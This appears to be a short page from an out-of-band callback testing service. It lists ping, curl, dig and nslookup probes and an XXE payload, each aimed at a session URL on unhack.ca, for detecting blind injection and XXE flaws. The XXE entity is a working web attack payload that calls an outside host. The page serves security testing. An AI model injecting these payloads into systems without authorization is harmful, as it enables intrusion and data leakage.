$ ping -c1 -p 0079f5e8f4fd7514655b66bbe9caf400 unhack.ca
 
$ curl http://unhack.ca/p/79f5e8f4fd7514655b66bbe9caf4
 
$ dig 79f5e8f4fd7514655b66bbe9caf4 @unhack.ca
 
$ dig 79f5e8f4fd7514655b66bbe9caf4.ns.unhack.ca
 
C:\> nslookup 79f5e8f4fd7514655b66bbe9caf4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/79f5e8f4fd7514655b66bbe9caf4">]>
    <foo>&xxe;</foo>
Waiting for ping...